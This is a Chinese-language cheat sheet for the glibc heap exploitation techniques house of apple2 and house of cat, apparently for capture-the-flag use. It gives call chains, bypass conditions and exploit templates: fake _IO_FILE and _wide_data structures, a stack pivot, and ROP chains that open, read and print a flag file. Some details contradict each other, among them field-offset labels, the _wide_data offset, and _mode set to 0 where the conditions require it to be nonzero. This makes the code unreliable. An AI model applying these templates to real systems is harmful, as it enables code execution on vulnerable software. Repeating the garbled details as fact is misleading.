glibc堆利用:house of apple2与house of cat技术详解
概述
本文档整理了两种常见的glibc堆利用技术——house of apple2和house of cat的调用链、绕过条件及利用模板。这两种技术都利用了glibc中_IO_FILE结构的特性实现代码执行。
house of apple2
调用链分析
house of apple2技术利用以下调用链实现控制流劫持:
exit → __run_exit_handlers → _IO_cleanup → _IO_flush_all_lockp
→ _IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE
→ *(fp->_wide_data->_wide_vtable + 0x68)(fp)
或 *(fp->_wide_data->_wide_vtable->_doallocate)(fp)
检查条件绕过
需要满足以下条件才能成功触发漏洞:
fp->flags不等于0x8、0x800或0x2- 当
fp->_mode <= 0时,需要fp->_IO_write_ptr > fp->_IO_write_base - 当
fp->_mode > 0时,需要fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base - vtable指针设置为
_IO_wfile_jumps _wide_data指向可控堆地址(满足*(fp + 0xa0) = heap_addr1)_wide_data->_IO_write_base设置为0(满足*(heap_addr1 + 0x18) = 0)_wide_data->_IO_buf_base设置为0(满足*(heap_addr1 + 0x30) = 0)_wide_data->_wide_vtable指向可控堆地址(满足*(heap_addr1 + 0xe0) = heap_addr2)_wide_data->_wide_vtable->doallocate设置为目标地址C用于劫持执行流
利用模板
构造fake IO_FILE结构体:
fake_file = flat({
0x0: 0, # _IO_read_end
0x8: 0, # _IO_read_base
0x10: 0, # _IO_write_base
0x18: 0, # _IO_write_ptr
0x20: 0, # _IO_write_end
0x28: 0, # _IO_buf_base
0x30: 0, # _IO_buf_end
0x38: 0, # _IO_save_base
0x40: 0, # _IO_backup_base
0x48: 0, # _IO_save_end
0x50: 0, # _markers
0x58: 0, # _chain
0x60: 0, # _fileno
0x68: 0, # _old_offset
0x70: 0, # _cur_column
0x78: 0, # _lock
0x80: 0, # _offset
0x88: 0, # _codecvt
0x90: controlled_heap - base_libc + gadget_offset, # _wide_data
0x98: 0, # _freeres_list
0xa0: 0, # _freeres_buf
0xa8: 0, # __pad5
0xb0: 0, # _mode
0xc8: io_wfile_jumps_addr + libc_base, # vtable
})
构造fake _wide_data结构体:
fake_wide = flat({
0x0: [
libc_base + pop_rdi_gadget, # pop rdi ; ret
controlled_heap - base_heap + 0x100, # 参数1
libc_base + pop_rsi_gadget, # pop rsi ; ret
0, # 参数2
libc_base + pop_rdx_r12_gadget, # pop rdx ; pop r12 ; ret
0,
0,
libc_base + pop_rax_gadget, # pop rax ; ret
2, # syscall number
libc_base + syscall_gadget, # syscall
libc_base + pop_rdi_gadget,
3, # fd
libc_base + pop_rsi_gadget,
controlled_heap - base_heap + 0x100,
libc_base + pop_rdx_r12_gadget,
0x100,
0,
read_gadget,
libc_base + pop_rdi_gadget,
1, # stdout
write_gadget,
],
0xa8: 0,
0xb0: 0,
0xb8: 0,
0xc0: 0,
0xc8: 0,
0xd0: 0,
0xd8: 0,
0xe0: controlled_vtable - base_heap + gadget_offset,
0x148: libc_base + mov_rsp_rdx_gadget # mov rsp, rdx ; ret
})
原理图示
house of cat
调用链分析
house of cat技术利用以下调用链:
__malloc_assert → __fxprintf() → __vfxprintf() → locked_vfxprintf()
→ _IO_wfile_jumps → _IO_wfile_seekoff → _IO_switch_to_wget_mode()
→ _IO_WOVERFLOW → _IO_wfile_underflow
检查条件绕过
fp->_mode不为0- 满足以下任一条件:
fp->_mode <= 0且fp->_IO_write_ptr > fp->_IO_write_basefp->_mode > 0且fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_basefp->_lock必须指向可写地址
利用模板
构造ROP链实现文件操作:
# close fd
rop_chain = p64(pop_rdi)
rop_chain += p64(0)
rop_chain += p64(close_func)
# open file
rop_chain += p64(pop_rdi)
rop_chain += p64(flag_addr)
rop_chain += p64(pop_rsi)
rop_chain += p64(0)
rop_chain += p64(pop_rax)
rop_chain += p64(2) # O_RDONLY
rop_chain += p64(syscall)
# read file content
rop_chain += p64(pop_rdi)
rop_chain += p64(0)
rop_chain += p64(pop_rsi)
rop_chain += p64(buffer_addr)
rop_chain += p64(pop_rdx_r12)
rop_chain += p64(0x100)
rop_chain += p64(0)
rop_chain += p64(read_func)
# write to stdout
rop_chain += p64(pop_rdi)
rop_chain += p64(1)
rop_chain += p64(write_func)
构造fake IO_FILE结构体:
fake_stderr = flat({
0x0: 0, # _IO_read_end
0x8: 0, # _IO_read_base
0x10: 0, # _IO_write_base
0x18: 0, # _IO_write_ptr
0x20: 0, # _IO_write_end
0x28: 0, # _IO_buf_base
0x30: 0, # _IO_buf_end
0x38: 0, # _IO_save_base
0x40: 0, # _IO_backup_base
0x48: 0, # _IO_save_end
0x50: 0, # _markers
0x58: 0, # _chain
0x60: 0, # _fileno
0x68: 0, # _old_offset
0x70: 0, # _cur_column
0x78: writable_lock_addr, # _lock (可写地址)
0x80: 0, # _offset
0x88: 0, # _codecvt
0x90: wide_data_heap_addr, # _wide_data
0x98: 0, # _freeres_list
0xa0: 0, # _freeres_buf
0xa8: 0, # __pad5
0xb0: 0, # _mode
0xc8: io_wfile_jumps_addr + 0x10, # vtable
})
构造fake _wide_data结构体:
fake_wide_data = flat({
0x0: bytes(rop_chain),
0xe0: vtable_heap_addr,
0xf8: libc_base + mov_rsp_rdx_gadget # mov rsp, rdx ; ret
})
原理图示